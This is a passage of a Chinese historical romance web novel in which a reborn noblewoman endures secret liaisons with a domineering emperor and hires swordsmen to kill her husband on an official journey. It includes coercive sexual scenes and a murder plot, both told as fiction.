马车停稳后,司春先下车掀开车帘,扶着薛嘉言走了下来。 主仆二人走进了茶楼,甘松装扮成小厮模样,眉眼带笑地迎了上来, “薛主子,这边请。” 甘松引着她们穿过茶楼大堂,避开往来客人,径直走到茶楼后门。 后门处早已停着另一辆马车,车身比薛嘉言的马车更宽大,帷幔是低调的深青色。 薛嘉言靠在车壁上,心里不禁感慨,张鸿宝能坐到太监总管的位置,这心思确实缜密得很。 这般绕着圈子换马车,就是为了掩人耳目,不让外人知晓她的行踪。前世若不是后来那场意外,她频繁进宫的事也不会泄露了风声,张鸿宝这掩人耳目的手段的确是很厉害。 马车不急不缓地行进着,车轮碾过青石板路,发出规律的“轱辘”声。薛嘉言坐了约莫半个时辰,只觉得腰肢有些发酸,马车才终于慢悠悠地停了下来。 她抬手撩开车帘一角,往外望去。眼前是一片开阔的湖水,岸边栽着几株刚抽芽的柳树,正是小翠湖。 这时,张鸿宝走了过来,他今日穿着便服,一身灰蓝色绸缎衣裳,脸上贴了胡须遮掩,瞧着像个富商模样,脸上堆着温和的笑。 “薛主子,今日劳烦您跑这一趟了。皇上他今儿心情不大好,您陪皇上喝喝茶、说说话,解解闷就好。” 薛嘉言闻言,眉头不自觉地蹙了起来。 她跟皇上有什么可说的?前世她伺候了姜玄三年,与他相处的时光,大多是在宫闱的榻上,正经说话的次数屈指可数。 况且姜玄本就是喜怒无常的性子,前一刻或许还温和说话,下一刻就翻脸无情,她向来摸不透他的心思,以往相处时,常常都是沉默以对,如今让她主动陪皇上说话,她都不知该说什么。 薛嘉言跟着张鸿宝往前走,目光掠过眼前的景致。 前方湖面上泊着一艘孤零零的画舫,背后是连绵的青山,身前是粼粼的绿水,岸边的杨柳已冒出嫩黄的新芽,几棵杏树缀满了粉白的花,春风拂过,带着淡淡的花香萦绕在鼻尖。 如此美景,本来带着棠姐儿游玩,却被迫来陪姜玄,薛嘉言脸色不由阴沉。 张鸿宝扶着她上了画舫,自己却没上去,只殷勤的笑着说:“薛主子,您顺着点陛下的心意。” 画舫内静得出奇,连半点声响都没有。薛嘉言只得往里走,绕过一架绣着兰草的屏风,便见姜玄坐在窗边。 他面前的茶台上摆着一套青瓷茶具,茶水还冒着细微的热气,姜玄端坐着,目光落在窗外的湖面上,侧脸的轮廓在天光下显得格外俊朗,只是那双平日里总是带着威严或冷意的眼睛,此刻竟笼着一层淡淡的忧伤。 薛嘉言脚步顿住,心头微微一怔。她与姜玄相识这些年,见惯了他身为帝王的强势、猜忌与薄情,还是头一次见到他这般流露脆弱的模样。 他是天子,坐拥天下,有何可忧伤的呢? 姜玄似是察觉到身后的动静,缓缓转过头来。当看清来人是薛嘉言时,他眼底的忧伤淡了几分,随即掠过一丝不易察觉的惊讶,一侧的眉毛轻轻挑了挑,开口问道:“你怎么来了?是张鸿宝叫你来的?” 薛嘉言收回目光,轻轻点了点头。心底却瞬间明了,原来今日并非姜玄主动召她前来,竟是张鸿宝瞧着皇帝心情不佳,想讨主子欢心,便自作主张把她拉来做人情了。 薛嘉言不由暗暗咬牙,好个张鸿宝,若不是他跟戚少亭勾结,又一心逢迎姜玄,她哪里会遭受这些。 “狗太监,早晚让你吃些报应!”薛嘉言恨恨想到。 第29章 雷霆雨露,俱是君恩 “坐吧。” 薛嘉言顺着姜玄所指,在他对面的座位上坐下。 姜玄开口问:“会泡茶吗?” 她轻声应了声“会”,便先将茶盏中剩余的冷茶倒了,再取过一旁的新茶饼,细细掰了小块放进茶壶,注上刚烧好的热水,动作不疾不徐。 候茶的间隙,薛嘉言忍不住暗自琢磨:今日是惊蛰,端懿太后的忌辰在秋里,先帝的忌辰虽在春日,却并非这一日。 何况姜玄自幼在冷宫长大,与先帝本就没什么情分,即便快到了先帝忌辰,也不该是这般忧伤模样。那他今日这番失神,究竟是为何? 不多时,茶香漫开,薛嘉言提起茶壶,将温热的茶汤斟入姜玄面前的白瓷杯里,茶汤清亮,浮沫甚少。整个过程里,两人都没再说话,只有窗外风吹柳枝的轻响,偶尔伴着几声鸟鸣。 薛嘉言不知道,今日是甄太妃的忌辰,在冷宫时,甄太妃对姜玄很是照顾,给了姜玄唯一的温暖,是以今日他心情有些伤感,特意出宫来散散心。 姜玄本有些恼张鸿宝的自作主张将薛嘉言弄来,可不知为何,他看到她,心中的烦闷减轻了许多,对张鸿宝的恼意也淡了些。 姜玄端起茶杯,浅啜了一口,目光从薛嘉言身上落回窗外的湖景,轻声道:“江南这时节,应该比京城春意更盛吧。” 薛嘉言坐在对面,闻言只是淡淡点头,语气带着几分敷衍:“一南一北,自然不同。” 她本就因戚少亭升官的事对姜玄满心不满,此刻实在提不起兴致陪他闲谈风月。 姜玄自然听出了她的敷衍,目光从窗外收回,落在她身上——一身素色衣裳,料子虽好却毫无亮色,脸上未施粉黛,唇色苍白,显得气色愈发差。 他心中了然,这是故意摆着副不情不愿的样子给他看。 沉默片刻,姜玄忽然勾起唇角,语气里带着几分讽嘲:“怎么样,如今是鸿胪寺丞的娘子了,等他三年考满,你便是诰命夫人了,开心吗?” 薛嘉言正端着自己的茶杯,闻言手猛地一顿,温热的茶水险些洒出来。 她握着杯子的指尖微微泛白,心底的怒火瞬间涌上来,恨不得当场将杯子砸在姜玄脸上——这狗皇帝,明知她不愿戚少亭升官,偏要逆着她的意思来,如今还敢这般嘲讽她! 可她终究还是忍了下来,深吸一口气,压下心头的弑君冲动,抬眼看向姜玄,语气平静无波:“雷霆雨露,俱是君恩,皇上赏什么,臣妇接什么。” 姜玄从鼻腔里哼了一声,语气里满是不耐与冷意:“你知道便好。过来……” 说着,他抬起手,拍了拍自己身侧的大腿。 薛嘉言听得这话,牙根都快咬碎了,却只能压着心头的恨意,低声回话:“臣妇身上癸水还未结束,身子不洁,不方便亲近陛下。” “雷霆雨露,俱是君恩,”姜玄抬眼看向她,眼神带着不容置喙的强势,“我说什么,你就做什么。” 薛嘉言攥了攥手心,终究还是不敢违逆,缓缓放下手中的茶杯,起身绕到姜玄面前,别扭地坐到了他的腿上。 姜玄手臂一收,将她圈在怀里,目光落在她身上那件石青色的外裳上,眉头瞬间皱起,只觉得这颜色碍眼得很——这料子颜色,竟和张鸿宝平日穿的太监常服颜色差不了多少。 他伸手就去解薛嘉言衣裳的扣子,手指刚碰到扣子,就被薛嘉言扭着身子避开。 薛嘉言腾地一下从他腿上站起来,脸颊涨得通红,说话都有些结结巴巴:“癸水污秽……臣妇,臣妇今日真的不可伴驾!” 她以为姜玄不顾她身子,竟要在这时候强迫她,心里又惊又怒。 姜玄斜睨了她一眼,冷冷道:“谁要与你做那事了?” 他指了指她的外裳,“你穿这个衣裳,朕抱着你,倒像抱着个太监……脱了外裳,让我抱会便是。” 薛嘉言这才松了一口气,悬着的心落了下来。她想了想,姜玄往日里虽对她索求颇多,却从未在她月事期间强迫过她,想来确实没有那种龌龊癖好。 她不再犹豫,抬手自己解起外裳的衣扣,将那件碍眼的石青色外裳脱了下来,露出里面素白的中衣,而后才重新坐回姜玄的怀里。 姜玄抱着穿素白中衣的薛嘉言,这才觉得浑身舒展了些。 他一只手松松揽着她的腰,另一只手抬起来,指尖轻轻捏着她的下巴,迫使她抬头对上自己的目光,开口问道:“你今日不高兴?” 这话瞬间勾得薛嘉言一肚子火气往上涌。 她想起前世和姜玄相处的日子,即便他再动怒,也从未对自己动过手,便壮着胆子,语气里带着明显的不满回道:“皇上明知道我不想夫君升官,偏要给他升,我心情怎么可能好?” 姜玄从鼻腔里哼了一声,指腹在她下巴上轻轻摩挲,语气却慢条斯理:“男子在世,谁不想建功立业?你不该因为太依恋他,就阻碍他的前程。” 薛嘉言暗暗咬牙,谁依恋他,我巴不得他去死。 她的胸口因生气有些起伏,姜玄眸色变暗,手从她衣襟下方伸进去。 “你这衣裳是什么料子的?摸着好舒服……”姜玄低声在薛嘉言耳边说。 薛嘉言被他弄得更加烦躁,他说的什么鬼话,舒服的是料子吗? 薛嘉言感到一阵燥热,她猛地攥住姜玄的手腕,撑着他的膝盖从腿上站起身,神色严肃道:“皇上,白日宣淫本就不妥,您身为帝王,更该谨守仪态……” 姜玄抬眼白了她一下,语气里带着几分嘲弄:“你穿得像个老太太,说话做事也学着老太太?这画舫里就你我二人,又没有第三人瞧见,何必装出这副模样?难道你不舒服?” 薛嘉言一听到“舒服”二字,瞬间想起那晚软榻被浸得透湿的场景,脸颊像被炭火燎过一般。她张了张嘴,想反驳却嗫嚅着,半天说不出一句完整的话来。 第30章 般配 姜玄见状,伸手一把将她拽回怀里,手臂紧紧圈着她的腰不让她再挣脱,薛嘉言身子不便,不能做那事,那亲亲总该行吧。 他低头凑近她的唇,舌尖轻轻描摹着她的唇形,起初动作还带着几分温柔,渐渐便染上了急切,唇齿相缠间带着不容抗拒的力道。 薛嘉言双手抵在他胸前,却没什么力气,只能被迫承受着他的亲近,连呼吸都变得有些急促。 屏风外悄没声地探出个脑袋,正是候在外头的张鸿宝。 他刚瞥见舱内两人相缠的模样,眼皮子赶紧一耷拉,飞快把脑袋缩了回去,踮着脚尖轻手轻脚地退到了画舫外的甲板上。 甘松见他出来,连忙凑上前,压低声音问:“干爹,皇上那边还没好吗?眼瞅着日头都偏西了,该回宫里了,时辰可不早了。” 张鸿宝没好气地瞪了他一眼,伸手在他胳膊上掐了一下:“皇上的事,是你爹我能左右的?” 甘松摸了摸被掐的胳膊,还是不解,皱着眉小声嘀咕:“薛主子今日不是来了癸水吗?那皇上在里面也干不了啥啊,这都磨蹭半天了,到底在做啥呢?” 张鸿宝斜睨他一眼,嘴角撇了撇,压着声音没好气道:“干啥?龙吐水呢!少多嘴,老实等着!” 薛嘉言直到唇瓣被亲得泛红发肿,才被姜玄松开。 姜玄埋在薛嘉言颈间,深吸了两口她身上的味道,声音喑哑着说:“往后不要用香露,我喜欢你现在的味道。” 薛嘉言默默翻了个白眼,她今日心烦,特意没有用任何香露,这个古怪的皇帝,前世不是说喜欢玫瑰的香味吗?怎么这会像个狗一样嗅她身上的味道? 姜玄算着时辰差不多了,对着外面扬声喊了句“张鸿宝”,吩咐道:“派人把她送回去。” 张鸿宝安排了甘松送薛嘉言回去,船舱里空下来后,姜玄瞪了他一眼,喝道:“谁让你自作主张的?” 张鸿宝赶紧认错:“皇上,老奴只是见皇上心情不好,想请薛主子过来陪您解解闷。皇上赎罪,老奴下次不敢了。” 姜玄嗯了一声,摆摆手:“行了,起驾吧。” 张鸿宝跟着姜玄出了船舱,腹诽道皇上明明看起来比刚开始高兴多了。 另一边,回程的马车上,薛嘉言攥着裙摆的手用力到指节泛白,指甲几乎要被掐断了。 她满心都是憋闷的火气,恨自己没用,明明被皇帝这般轻薄,却连骂一句都不敢,只能吃这个哑巴亏。 “狗皇帝”三个字在心里翻来覆去地骂,只觉得自己在他眼里跟那些供人取乐的粉头没两样,连来了癸水都不肯放过。 她靠在车厢壁上,暗暗打定主意:等日后姜玄对她多几分容让,能让她再放肆一些,她定要先弄死戚家那一家子,然后带着棠姐儿躲去丹阳,离这个狗皇帝远远的。 回到春和院,司雨迎上来禀告:“奶奶,方才郭大奶奶那边派人来传话,请您明日过去吃午饭呢。” 薛嘉言听到这话,心气总算顺了些。 郭晓芸这时候请她吃饭,想来是已经跟苗菁联络上了,多半是打算搬离槐花胡同,这才要跟她见一面。 总算有件事是顺顺当当的,她心里松了口气。 等明日见了郭晓芸,顺道跟苗菁认识之后,再借着郭晓芸的情分,请苗菁帮忙办些事,想来苗菁看在她帮助过郭晓芸,应该不会推辞。 第二日,薛嘉言备了两盒精致的点心作礼品,坐着马车去了郭晓芸家。 进门落座后,两人先寒暄了几句家常,郭晓芸才笑着开口:“薛妹妹,我从前有位旧相识,前些日子竟巧遇上了,他如今在五城兵马司做事,等会他也要过来,你也见见,算是我的娘家人。” 不等薛嘉言接话,郭晓芸又有些不好意思地补充道:“只是上次出了些误会,苗三弟动手打了戚大人。幸好戚大人大人有大量,不曾为难苗三弟。” 薛嘉言装作全然不知的模样,顺势追问当时的情况。 郭晓芸哪好意思在她面前细说戚少亭的龌龊行径,只含糊地说了几句“不过是些口角争执,没多大事”,便匆匆带过了话题。 薛嘉言心里门儿清,也知趣地没有继续追问。 不多时,院外传来脚步声,苗菁推门走了进来。 他穿了一身素色常服,身形愈发显得高大挺拔,虽皮肤偏黑,却五官周正,是个英气俊朗的青年。 薛嘉言看着他和郭晓芸站在一处,一个高大健壮,一个娇小温婉,一个黑如炭,一个白如雪,只觉得两人格外相配。 像郭晓芸这般弱柳扶风的美人,本就该配苗菁这样能护她周全的汉子。 郭晓芸给两人互相介绍,苗菁一听眼前人就是多番照拂郭晓芸的薛嘉言,立刻郑重地拱手行礼,语气诚恳:“多谢薛娘子这些日子对晓芸姐的照顾,苗某感激不尽。” 薛嘉言忙侧身避开,笑着摆手:“苗公子客气了,我与郭姐姐本就投缘,不过是些举手之劳,实在当不起‘感激’二字。” 三人入席吃饭,席间苗菁再次提起,想让郭晓芸搬去他那边的宅子住,也好有个照应。 郭晓芸却连连摇头不同意,轻声道:“我还在守孝,又是个寡妇,住到你那里终究名不正言不顺,传出去对你我都不好。” 薛嘉言自然知道苗菁的心思,忙在旁帮着劝说:“郭姐姐,近来我听闻京郊一带不太平,常有采花贼夜里窜进来犯案。再说曾桂香母女不久后要护送家里嬷嬷去丹阳,往后你单独住在这里,多不安全啊。什么名声、规矩,都不如自己的安全重要。” 薛嘉言看郭晓芸的神色有所松动,又继续说道:“你刚才也说,总算有个娘家人了,又说与苗三爷是自小一起长大的,既如此,郭姐姐又何必拘泥那么多呢?若徐家还有人就罢了,京城并无一个徐家人,你去娘家兄弟那里住住,也是应当的。” 郭晓芸被她这番话劝动,沉默片刻后,终究点了点头答应了。 苗菁在一旁听得清楚,忍不住多看了薛嘉言两眼,这位戚大奶奶倒是有意思,把话都说到了自己心坎里。 他原本有些怀疑薛嘉言是别有用心算计,但观察了一番,薛嘉言好似并不认识他,也真的跟郭晓芸认识了好几年了,这才打消疑虑。 第31章 护人变杀人 过了几日,戚少亭正式去鸿胪寺上任。 头一天下衙回来,他一进家门就满脸喜色告知家人,他刚到鸿胪寺,就被鸿胪寺卿闻大人委了重任,过几日率队去大同,迎接鞑靼使团入京。 薛嘉言在一旁听着,心头瞬间松了口气,连带着前些日子的郁气都顺了不少。 戚少亭要出远门,意味着接下来这段日子,她总算不用天天对着这张令人厌烦的脸了。 她暗自琢磨:大同来回路途不算近,这一路山高水远,若是能出个什么意外…… 戚少亭要是没了,朝廷念及他是为公务殉职,必定会嘉奖戚家,而戚少亭一死,家里剩下的栾氏、戚炳春和戚倩蓉,这三个根本不足为惧。 但这事不能急,得从长计议。 她不能动用娘家的人,鸿胪寺公干不比寻常出行,沿途肯定有卫兵护送,若是让娘家人插手,万一露出形迹,不仅会坏了大事,还会连累薛家,这是她绝不能接受的。 去外头找人的话,她两辈子从未做过作恶害人的事,又是深居内宅的妇人,平日里接触的不是戚家人就是府里的仆役,根本没有认识那种能办“意外”的渠道。 府里虽有几个陪房,可都是跟着她从薛家出来的老实人,不认识什么作奸犯科的人。 思来想去,唯有苗菁应该可以帮忙。她该怎么开口呢? 薛嘉言去拜访郭晓芸,落座寒暄几句后,便开口道:“上次听郭姐姐说,苗三爷在五城兵马司做事,想来平日里接触的人多,认识些三教九流的人物,我今日来,是有件事想请苗三爷帮忙。” 她明知苗菁实际在锦衣卫当差,却也没拆穿,苗菁瞒着郭晓芸,定是怕锦衣卫的名声吓着她,自己何必多嘴。 郭晓芸闻言,忙放下手里的茶盏问:“薛妹妹有什么事尽管说,只要能帮上忙,我定让他尽力。” 薛嘉言垂眸理了理袖口,语气带着几分“担忧”:“夫君近日要去大同接鞑靼使团,一路长途跋涉,虽说有卫兵跟着,可家里人总放不下心。想着请苗三爷帮忙举荐两个武艺高强的江湖人士,暗中跟着护他周全,也免得我们在家提心吊胆。” 郭晓芸听罢,立刻点头应下:“这事不难,等苗三弟晚上下值回来,我就跟他说。不管成不成,明日我一定派人去戚府给你回话。” 当晚,苗菁下值回到家,听郭晓芸讲了薛嘉言的托付,忍不住在心里暗自嘀咕:戚少亭那等渣滓,就该死在半路上,他妻子倒好性子,这般猪狗不如的人,还当眼珠子似的疼,特特安排人手护着。 不过薛嘉言是晓芸姐的朋友,这点面子他不能不给,便应了下来。 次日,苗菁让郭晓芸把薛嘉言请到一处僻静茶馆,带了两个身材魁梧的汉子过来,介绍道:“这两位是李虎和王彪,都是西北出来的,身手不错,对大同沿途的路也熟,护人周全没问题。” 李虎他们已经知道了此行的目的,从怀里掏出一枚铜哨子递给薛嘉言,“薛娘子放心,我们会暗中跟着戚大人的队伍,若是遇到危险,只要吹响这哨子,我们片刻就能赶到。” 薛嘉言接过哨子,取出一锭银子递过去,语气诚恳:“辛苦两位了,这是一半定金,等戚大人平安回京,剩下的一半我再亲自送到二位手上。” 李虎接了银子,两人拱手应下。 不几日,戚少亭收拾好行装准备出发。 临行前,戚少亭对薛嘉言道:“嘉嘉,我要出门一趟,家里就拜托你了,等我回来,给你带礼物。” 他满含情意,薛嘉言却只觉得恶心,这份情意,是看在升官的份上呢。 戚少亭又站在门口细心叮嘱司春:“司春,你们奶奶爱吃羊肉,你记得吩咐厨房经常做给她吃。她来月事肚子会痛,记得提前炖些滋补的羹汤……” 他说这话时,还不时往屋里看,想看看薛嘉言的反应。 薛嘉言一直低着头,掩住眸中的嘲讽。 前世他刚升官时也是这样,对她极尽温柔。后来官位坐稳了,加上她与皇帝的奸情曝光,戚少亭也就不再演了,开始冷嘲热讽,话里话外拿贞洁挤兑她,逼她自己去死。 戚少亭演完戏,戚家人都到门口送别。虽要分离两三个月,可戚家人脸上半点不舍都没有,反倒满是兴奋,都盼着戚少亭能顺利完成任务,回来后再升一级官,让戚家更风光些。 车队出了京城城门,第二日一早,薛嘉言便以“去城外田庄督促春耕”为由,带着几个人,坐着马车追了出去。 鸿胪寺这趟公干去了几十号人,队伍走得慢,薛嘉言让车夫一路没停,到了晚上便追上了,在官驿附近的客栈歇下。 晚饭时分,薛嘉言换了身粗布男装,把头发束起,悄悄溜出驿站,在僻静处吹响了那枚铜哨子。 不多时,李虎和王彪便从暗处走了出来,见到吹哨子的人是薛嘉言,两人略有些意外,对视一眼,李虎低声问:“薛娘子,可是出了什么事?” 薛嘉言左右看了看,从怀中掏出一枚沉甸甸的金锭,递到李虎面前,声音压得极低:“二位壮士,这一路上请找到机会杀了戚少亭。事成之后,这样的金锭还有两锭,绝不会亏了你们。” 李虎和王彪又对视一眼,眼中并无惊讶——他们做这行有些年头,这种“护人”变“杀人”的事并不新鲜,别说夫妻相杀,就是父子相杀的他们也遇到过。 李虎伸手接过金锭,掂了掂重量,沉声道:“薛娘子放心,我们不会辜负所托。” 薛嘉言嗯了一声,又道:“此事还请二位保密。” 李虎拱了拱手:“薛娘子放心,我们二人必定守口如瓶,这是行规。若不然,苗大人也不会将我们介绍给您。” 两人对于薛嘉言的要求十分理解,毕竟妻杀夫属于恶逆之一,若被人发现,妻必死无疑,且判罚极重。 薛嘉言点点头,没再多说,转身悄悄回了驿站。 她走后,王彪才凑到李虎身边,压低声音问:“虎哥,这个姓戚的到底得罪了多少人啊?出京前,苗大人还特意让人捎话,说等拿到薛娘子的赏银,让我们找机会狠揍他一顿呢!” 第32章 贪恋他 送走戚少亭后,薛嘉言看什么都觉得顺眼了些,连日来憋在心里的郁气总算散了大半。 刚用过晚膳,司春就匆匆进来小声说:“奶奶,今晚要入宫。” 薛嘉言闻言暗暗咬牙,距离戚少亭升官已近一个月,可她心里的火气还没消。 若是李虎和王彪能顺利得手,等戚少亭一死,她就不管了,戚家这三个人过惯了富贵日子,没有了戚少亭这个支柱,他们又得跌回泥地里,过不好的。她只需略用些手段,就能让这三人生不如死。 到时候,她带着棠姐儿回丹阳去,戚家人和姜玄,都成了过眼云烟,她也就能过上安稳逍遥的日子。可眼下还在京城,皇帝的旨意她不敢违逆,只能应下。 坐上入宫的马车,轱辘碾过青石板路的声响在夜里格外清晰。 薛嘉言靠在车厢壁上,想起前世的事,满心诧异:她虽有几分姿色,可姜玄是九五之尊,天下美色任他挑选,为何偏偏揪着她不放? 前世,姜玄除了她,身边连个亲近的宫女都没有,更别说选秀纳妃了。从前听张鸿宝私下提过,宫里那些模样出挑的宫女想法子露脸,皇帝连正眼都不瞧一下。 后来两人的奸情败露,她的名声一落千丈,朝堂和民间,都把她比作褒姒、妲己那样的祸国妖女,说她定是狐狸精变的,不然怎么能迷惑得皇帝这般“宠爱”。 薛嘉言想到这些传言,忍不住在心里嗤笑:姜玄哪里是宠爱她?除了夜里在床上折腾她,他对她半分真心都没有。 若是真疼她,像那些昏君一样,直接强势弄死戚少亭,把她抢进宫封个妃嫔,哪怕是低等的才人,她担了“妖女”的骂名也认了。 可偏偏,她自始至终都是戚少亭的妻子,背着污名却连个正经名分都没有,真是冤枉透了。 “薛主子,到了。”车外传来甘松的声音,拉回了薛嘉言飘远的思绪。 她整理了一下衣襟,推开车门下车,跟在甘松身后,一步步往长宜宫走去。 薛嘉言跟着宫人走进长宜宫寝殿,姜玄已换了一身月白寝衣,斜倚在榻上等着她。 他衣襟松松垮垮地敞着,露出线条分明的精壮胸膛,手里还捏着本摊开的书,目光却没落在书页上。 见薛嘉言进来,姜玄那张素来冷得像冰块的脸上,竟难得露出一丝浅淡的微笑,抬手朝她招了招:“过来。” 薛嘉言依言上前,刚走到榻边,就被姜玄伸手拉进怀里。 他随手将书扔到一旁,脑袋埋进她颈间,深深吸了一口气,温热的气息扫过肌肤,惹得薛嘉言瞬间起了一身鸡皮疙瘩。 自上次小翠湖画舫之后,两人已有些时日没见,姜玄的动作带着明显的急切,指腹隔着衣料轻轻摩挲着她的腰侧。 薛嘉言任由他动作,思绪却仍在琢磨路上想的那件事,姜玄到底看中了她什么? 是因为她长得像他心里的那个人?他就那般喜欢那个女人吗?自己与画中人也并不那么像,他是九五至尊,若真想找个一模一样的,未必找不到,何苦背着昏君的骂名,偏要和她这个臣妻私通? 姜玄察觉到怀中人的走神,动作顿了顿,有些不高兴地伸手捏住她的下巴,指腹轻轻摩挲着,哑着嗓子问:“你在想什么?” 薛嘉言被他捏得有些疼,下意识就瞪了他一眼。 前世与他纠缠惯了,到了后期她已经破罐子破摔,经常对姜玄使性子,倒忘了眼下两人相识不过三个月,以她从前的性子,绝不敢这般对皇帝放肆。 姜玄被她这一瞪,先是愣了愣,眼中闪过一丝惊讶,随即脸上的笑意更深了些,指腹轻轻揉着她的下唇:“不许走神,好好看着我。” 薛嘉言偏不依,猛地别开脸,她才不要看他。 姜玄见状,笑容愈发浓烈,伸手捏住她的脸颊,轻轻用力,强迫她把脸转回来,目光灼热地盯着她,声音低沉带着不容抗拒的意味:“看着我,看我如何让你快活。” 云歇雨收后,薛嘉言浑身像散了架一般,没了一丝力气,软软地倒在姜玄怀里,胸口还微微起伏着。 姜玄指尖捻着她鬓边垂落的一缕长发,慢悠悠地把玩着,忽然想起什么,俯身凑到她耳边,温热的气息扫过耳廓,轻声问:“朕与戚少亭相比,如何?” 薛嘉言闻言,脸颊瞬间涨得通红。 这话前世姜玄也曾问过,彼时她只觉得羞愧难当,满心都是被羞辱的难堪,恨不得当场撞死在榻边,最后哭得梨花带雨,反倒弄得姜玄手足无措,竟舍下帝王尊严,低声跟她说了句“对不起”。 可如今死过一次,她早没了从前的顾忌,抬眼看向姜玄,实话实说道:“皇上龙精虎猛,戚少亭远不如你。” 姜玄倒有些意外,没想到她竟会这般毫不掩饰地说出这话,眼底飞快闪过一丝笑意,随即伸手将她抱得更紧,低头在她额间亲了亲,语气轻快了些:“过几日宫里要去春狩,你想不想去?” 薛嘉言想都没想,便摇了摇头:“我不去。我一个臣妇,跟着去春狩算怎么回事?传出去,我要被人指着脊梁骨骂死了。” 姜玄却不气馁,又道:“没关系。到时候你化装成小太监,只在我的寝账里待着,没人会发现的。” 薛嘉言还是坚定地摇了摇头,她可不想再冒这种风险,落得跟前世一样的骂名。 姜玄见她态度坚决,也没再强求,只得无奈地叹了口气,伸手拍了拍她的背,作罢了这个念头。 薛嘉言走之后,姜玄脸上还带着浅浅笑意,仍在回味刚刚的欢愉。 他明显能感觉出,薛嘉言很快活,她一点儿也不排斥他。 这感觉让姜玄愉悦,他原本以为薛嘉言被自己的夫君献给另一个男人,多少会羞愧、难堪,甚至恨不得去死。但她似乎并不抗拒他,虽说话时常让他不快,但身体很诚实,她也在贪恋他。 第33章 急召 过了三四天,薛嘉言刚洗漱完躺上榻,心里正盘算着,姜玄去西山春狩,少说也得大半个月不会召她,这段日子正好能多去郭晓芸那里走动,跟苗菁混熟些,日后再请他帮忙,也能更顺口些。 谁知刚闭上眼没一会儿,司春就匆匆掀了门帘进来,声音带着几分急切:“奶奶,张公公派人来接您了!” 薛嘉言一愣,很是纳闷,皇上不是带着人去西山春狩了吗?怎么还会派人来接她? 她随手拿了衣裳穿好,到了后门一看,竟是张鸿宝亲自来了。 他面色看着有些焦急,见了薛嘉言便连忙说:“薛主子,这次得出去几日,没那么快回来,您得跟家里人打声招呼。” 薛嘉言看他脸色不对,也没多追问,转头对司春吩咐:“你在家看好门户,明日一早,太太和老爷若问起,就说田庄的佃户闹事,我连夜赶去处理,得过些日子才能回来。” 安排妥当后,薛嘉言跟着张鸿宝上了马车。车子刚驶出戚府巷子,张鸿宝就掀着车帘对车夫急声道:“再快点,务必尽快赶到西山营地!” 薛嘉言见他急得额头都沁出薄汗,忍不住问道:“张公公,到底出了什么事?这么急着赶路。” 张鸿宝叹了口气,压低声音:“薛主子,皇上在春狩营地里中了媚药,现在难受得厉害,就等着您去解毒呢。” 薛嘉言听了,在心里默默翻了个白眼,春狩队伍里那么多宫女,找谁伺候不行,偏要巴巴从京城接她过去,等她赶到,说不定媚药自己都过去了。 可转念一想,她又惊觉不对劲:谁敢给皇帝下媚药?既然能下媚药,自然也能下别的毒,这可不是小事。 但她也没再多问,宫里的是非最是麻烦,少打听才能不会引火烧身,安安稳稳坐着就好。 马车一路疾驰,车夫扬鞭呼喝“驾驾”声不断,车轮碾过崎岖的山路,颠簸的薛嘉言胃里阵阵翻涌。 快两个时辰后,车子终于停在西山营地外,薛嘉言早已在途中换好了一身灰布太监服,头发束得紧实,低头时只露半张侧脸,倒真有几分少年内侍的模样。 她跟着张鸿宝,一路低垂着头,尽量缩小存在感,快步走到姜玄的寝账外。 姜玄此刻十分煎熬,浑身似着火了一般,却又不是发烧那种痛,是难挨的亢奋,迫切地想要纾解。 今夜晚宴他是在太后的营帐里用的,一起用餐的还有几位太后的亲眷,饮酒后他有些头晕,太后宫里的李嬷嬷说帐内嘈杂,便引他去旁边的空营帐歇息。 姜玄眯了一会,觉得清明了些,这时太后的外甥女李瑶过来给他送了一盏解酒汤,姜玄喝了半碗解酒汤,李瑶并未离去,跟他说起狩猎的事情,说自己的骑射功夫也很好,到时候想一起去狩猎。 姜玄很快便察觉身体不对,身体燥热,肿胀难耐。他咬着牙撑着起来要回自己的营帐,李嬷嬷进来劝他就在这里歇着,姜玄却没说话,哑着声音喊张鸿宝来扶他。 张鸿宝扶着姜玄回到营帐内,姜玄这才说自己可能中了媚药,十分难受。张鸿宝大惊,姜玄却让他先出去,他自己想办法。 张鸿宝出去后,听到营帐内传来姜玄低沉的闷哼,以及一些悉悉索索的声响,过了一会,姜玄又叫他进去。 姜玄的脸上泛着不正常的潮红,声音也变了腔调:“去……去把她弄来!” 张鸿宝立刻便明白了姜玄说的她是谁,忙不迭跑去接人,他带着薛嘉言来到营帐外,从后面走过去,正要往前走,忽听到寝账门口传来一个温柔中带着几分关切的女声。 “皇上如何了?他酒量本就不好,刚才在宴上又喝了不少酒,哀家进去看看他。” 张鸿宝脚步猛地一顿,飞快转头对薛嘉言递了个眼色,指了指寝账背后,示意她先躲去暗处。薛嘉言立刻会意,轻手轻脚退到暗处站着,装作在站岗。 张鸿宝则快步上前,对着来人行礼,朗声道:“老奴给太后请安。太后娘娘放心,皇上刚喝了太医熬的解酒汤,这会儿已经躺下了,还特意吩咐老奴,说不想任何人打搅他休息。” 太后轻轻叹了口气,声音软了些:“也罢,既然他要休息,那哀家就不进去了。” 她顿了顿,又对张鸿宝叮嘱,“你夜里多派几个人,隔半个时辰进去看看皇上的情况,别让他踢了被子着凉。明儿一早若是他头疼,就让他多睡会儿,不用跟着林驰他们去打猎了。” “老奴遵旨,定当照看好皇上。”张鸿宝躬身应下。 薛嘉言在暗处听得一阵脚步声渐渐远去,知道太后走了。 这时张鸿宝探头望瞭望,确认四周无人,才回头对薛嘉言使了个眼色。 薛嘉言连忙从帐后走出,跟着张鸿宝快步掀帘进了寝账。 薛嘉言掀帘进了寝账,目光扫过帐内,就见姜玄不着寸缕地趴在铺着软垫的床榻上。 他肤色本就偏白,此刻不知是媚药发作,还是酒劲未散,颈间、脊背乃至手臂,都泛着一层淡淡的粉红色,像被热气蒸透了一般。 她放轻脚步走过去,在榻边站定,试探着小声喊了一句:“皇上?” 姜玄猛地转过身,一双眼赤红得吓人,下唇不知何时被自己咬破,渗着点点血丝。 他呼吸粗重,胸口剧烈起伏着,看清来人是薛嘉言,几乎是瞬间就伸手,一把将她拉进怀里,另一只手急切地去解她的衣扣,指尖都带着颤抖。 薛嘉言被他抱得踉跄了一下,鼻尖萦绕着他身上浓烈的酒气与一种陌生的燥热气息,瞬间察觉出今晚的姜玄,的确与往日不同。 那股急切里带着失控的狠劲,全然没了平日的克制。她不敢挣扎,只能顺从地任由他动作。 姜玄的动作又快又凶,带着不容抗拒的力道,薛嘉言忍不住蹙紧眉,轻声呼痛。 姜玄急躁中仍有一丝理智,闻声动作慢了些,腾出一根手指竖在她唇边,喘息着压低声音:“乖……小声些……帐篷不隔音。” 